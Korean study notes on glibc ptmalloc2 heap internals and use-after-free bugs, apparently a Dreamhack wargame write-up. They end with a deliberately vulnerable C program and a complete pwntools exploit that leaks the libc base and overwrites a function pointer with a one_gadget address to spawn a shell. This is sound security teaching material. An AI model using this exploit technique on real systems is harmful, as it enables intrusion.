1. ptmalloc2

• 어떤 메모리 해제되면 해제된 메모리의 특징을 기억하고 있다가 메모리의 할당 요청이 발생하면 이를 빠르게 반환해줌
  • 메모리의 할당속도 높이고, 불필요한 메모리 사용을 막을 수 있다.

1-1 구현 목표

• 메모리의 효율적인 관리

1. 메모리 낭비 방지
2. 빠른 메모리 재사용
3. 메모리 단편화 방지

1. 메모리 낭비 방지

1. 동적 할당, 해제는 매우 빈번하게 일어난다. 하지만 전체 메모리는 한정적이기 때문에 새로운 메모리 공간을 무한히 할당하는 것은 불가능
2. ptmalloc은 메모리 할당 요청 발생시 먼저 해제된 메모리 공간 중 재사용 가능한 공간 있는지 탐색
3. 해제된 메모리 공간중 요청된 크기와 같은 크기 공간 있다면 그대로 재사용
4. 작은 크기 할당 요청시 : 해제된 메모리 공간 중 매우 큰 공간 있으면 그 영역 나눠 주기도 함

2. 빠른 메모리 재사용

1. OS가 프로세스에게 제공해주는 가상 메모리 공간은 매우 넓다.
   • 특정 메모리 공간 해제한 이후 빠르게 재사용하려면 해당 주소 기억해야함
   • ptmmalloc은 해제시 tcache 또는 bin이라는 연결리스트에 해제된 공간 정보 저장
2. tcache, bin 은 여러개 정의되어 있다. (서로 다른 메모리 공간들 저장)
   • 특정 크기 할당 요청 발생시, 그 크기와 관련된 저장소만 탐색

3. 메모리 단편화 방지

• 단편화 : 전체메모리 공간이 여러 데이터들에 의해 부분적으로 점유되며 나타나는 현상
  • 단편화 심해질 수록 각 데이터 사이에 공간 많아져 메모리 사용의 효율 감소

1. 내부 단편화(Internal Fragmentation)
   • 할당한 메모리 공간 크기 > 실제 데이터 점유하는 공간
2. 외부 단편화(External Fragmentation)
   • 할당한 메모리 공간들 사이에 공간이 많아서 발생하는 비효율

• ptmall은 단편화 줄이기 위해 정렬, 병합, 분할 사용

1. 64비트 ptmlloc은 메모리 공간 16바이트 단위로 할당
   • 4바이트 요청시 16할당, 17바이트 요청시 32바이트 할당
   • 외부 단편화 감소 / 내부 단편화 발생 가능성
2. 공간 정렬하지 않고 프로세스가 요청하는 만큼 할당할 수 있다면 모든 데이터 연속적으로 할당되어 외부 단편화 최소화 가능
   • 공간 해제하고 재사용시 정확히 같은 크기의 할당 요청 발생할 확률보다 비슷한 크기의 요청 발생할 확률이 높다
   • 비슷한 크기의 요청에 대해서는 모두 같은 크기의 공간 반환해야 해제된 청크들의 재사용률 높이고, 외부 단편화 줄일 수 있다.

1-2 ptmlloc의 객체

• chunck, bin, tcache, arena를 주요 객체로 사용

2. chunck

• Ptmalloc이 할당한 메모리 공간

• 헤더와 데이터로 구성

1. 헤더 : 청크 관리에 필요한 정보
   • prev_size(8) : 인접한 직전 청크의 크기, 청크 병합시 직전 청크 찾는데 사용
   • size(8) : 현재 청크의 크기, 헤더의 크기 포함 (64비트 기준 16바이트) 사용자 요청한 크기 정렬하고 + 16바이트 더한값(헤더)
   • flags(3) : 16 바이트 단위로 할당, Size의 하위 4비트는 의미를 가지지 않기 때문에 하위 3비트에 청크 관리에 필요한 플래그 값으로 사용
     • A : allocate arena
     • M : mmap'd
     • P : prev-in-use : 직전 청크 사용 중인지, 병합 필요한지 판단

• fd(8) : 연결리스트에서 다음 청크 가리킴, free 된 청크에만 존재
• bk(8) : 연결리스트에서 이전 청크 가리킴, free 된 청크에만

2. 데이터 영역 : 사용자가 입력한 데이터 저장

3. bin

• 사용 끝난 청크들 저장되는 객체, 메모리의 낭비 막고 해제된 청크 빠르게 재사용 가능

• ptmalloc에는 128개의 bin정의됨
  • smallbin(62)
  • largebin(63)
  • unsorted bin(1)
  • 나머지 1개는 사용 x

3-1 small bin

• 32이상 1024 바이트 미만의 크기 갖는 청크들 보관

1. 하나의 smallbin에는 같은 크기의 청크들만 보관되며 index 증가하면 저장되는 청크들의 크기는 16바이트씩 커짐
   • smallbin[0] : 32byte 크기의 청크
   • smallbin[64] : 1008 크기 청크
2. 원형 이중 연결 리스트, 먼저 해제된 청크가 먼저 재할당(FIFO)
3. unlink : 청크 추가하거나 꺼낼대 고리 끊는 과정
4. consolidation : 병합

3-2 fastbin

• 일반적으로 크기가 작은 청크들 큰 청크들보다 빈번하게 할당 해제
  • 작은 청크들의 할당 해제 효율적으로 하는게 전체적인 효율성 측면에서 중요

1. ptmalloc은 크기를 정해두고 이보다 작은 청크는 Fastbin에 저장한다. 이들을 관리할때는 메모리 단편화보다 속도를 조금 더 우선순위에 둔다는 의미
2. 32 ~ 176 바이트 크기의 청크들 보관
   • 리눅스는 32 ~ 128바이트 청크들 fastbin에 저장
3. 단일 연결리스트
   • unlink 없다
   • LIFO 사용 : 속도 빠르지만 다른 방법에 비해 파편화 심함
   • fastbin에 저장되는 청크들은 서로 병합 x, 청크 간 병합에 사용되는 연산 아낌

3-3 largebin

• 1024바이트 이상의 크기 갖는 청크들 보관

1. 다양한 크기 갖는 청크들 관리
   • largebin[0] : 1024 이상, 1088 미만 ...
2. 그 안에서 크기 가장 비슷한 청크(best-fit) 꺼내 재할당
3. 내림차순으로 정렬하여 위 과정 빠르게 한다
4. 이중 연결 리스트
5. unlink 동반

3-4 unsortedbin

1. 분류되지 않은 청크들
2. 하나만 존재, fastbin에 들어가지 않는 모든 청크들 해제되었을 때 크기 구분하지 않고 unsortedbin에 저장
3. 이중 연결리스트이며 내부적 정렬 x

청크 할당 탐색 순서

1. ptmalloc은 청크 할당 요청시 fastbin, smallbin 먼저 탐색
2. 범위 외의 청크의 경우 unsortedbin 먼저 탐색후 largebin 탐색

• fastbin, smallbin > unsortedbin > largebin

4. ARENA

• 위의 bin등의 정보 모두 담고 있는 객체

1. 멀티 쓰레드 환경에서 ptmalloc은 레이스 컨디션 막기 위해 arena 접근시 arena에 락 적용
   • 레이스 컨디션 막을 순 있지만, 병목현상 발생 가능성
2. ptmalloc은 64개의 arena 생성 가능, arena lock 걸린 경우 new arena 만들어 이를 피함

5. tcache

• Tread local cache

1. 각 스레드 독립적으로 할당되는 캐시 저장소
   • 각 쓰레드 64개의 tcache가짐
2. LIFO 방식의 단일 연결리스트
3. 하나의 tcahce에 보관가능한 청크 갯수 7개 제한
   • tcache에 들어간 청크들은 병합되지 않는다
4. 32 ~ 1040 이하 크기 갖는 청크 보관
   • 해당 바이트 내 청크들은 할당 및 해제시 tcache를 가장 먼저 조회
   • tcache 가득찬 경우 bin으로 분류

• tcache는 각 쓰레드가 고유하게 갖는 캐시이기 때문에 ptmalloc은 레이스 컨디션 고려하지 않고 이 캐시에 접근 가능
  • arena의 bin에 접근하기 전에 tcache 먼저 사용하므로 arena에서 발생할 수 있는 병목 현상 완화 효과

6. Use After Free

• 메모리 참조에 사용한 포인터를 해제 후에 적절히 초기화하지 않아서 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점

6-1 Dangling Pointer

• 유효하지 않은 메모리 영역 가리키는 포인터

1. malloc : 할당한 메모리의 주소 반환
   • 일반적으로 동적할당시 포인터 선언하고 그 포인터에 malloc함수가 할당한 메모리의 주소 저장, 포인터 참조해 할당한 메모리에 접근
2. free : 청크를 ptmalloc에 반환하기만 할 분 청크의 주소 담고 있던 포인터 초기화하지 않는다
   • 포인터 초기화하지 않으면, 포인터는 해제된 청크 가리키는 Dangling Pointer됨
3. 청크 해제후 변수 초기화하지 않을 시 해당 변수는 해제된 청크의 주소를 가리키고 있으므로 다시 해제가능 - Double Free Bug : 프로그램에 심각한 위협이 되는 SW 취약점

6-2 UAF

• 해제된 메모리에 접근할 수 있을때 발생하는 취약점

1. Dangling Pointer
2. 새롭게 할당한 영역 초기화하지 않고 사용시
3. malloc, free 함수 할당, 해제시 메모리의 데이터들 초기화 x
   • 새롭게 할당한 청크를 프로그래머가 명시적으로 초기화하지 않으면, 메모리에 남아있던 데이터 유출되거나 사용가능

6-3 Code 분석

1. 모든 보호기법 적용 확인

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

1. custom_func 함수에서 포인터 값에 NULL을 주지 않음으로 Dangling Pointer 발생
   • unsortedbin에 저장하기 위해 1024바이트 이상의 사이즈 입력
   • fereed chunk를 이용해 bk, fd 주소를 알아내어 libc base를 알아낸다
2. Human, Robot struct 사이즈가 같음
   • human age 변수에 one_gadget이용한 주소를 적으면 pointer 함수가 overwrite 되므로 쉘 획득 가능

6-4 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 16192)
l = ELF('./libc-2.27.so')
arena_offset = l.sym['__malloc_hook'] + 0x10

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', 100)
custom(0x500, b'AAAA', 100)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', 100) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

slog("main_arena", arena_offset)

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb +  0x10a41c# 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")

p.interactive()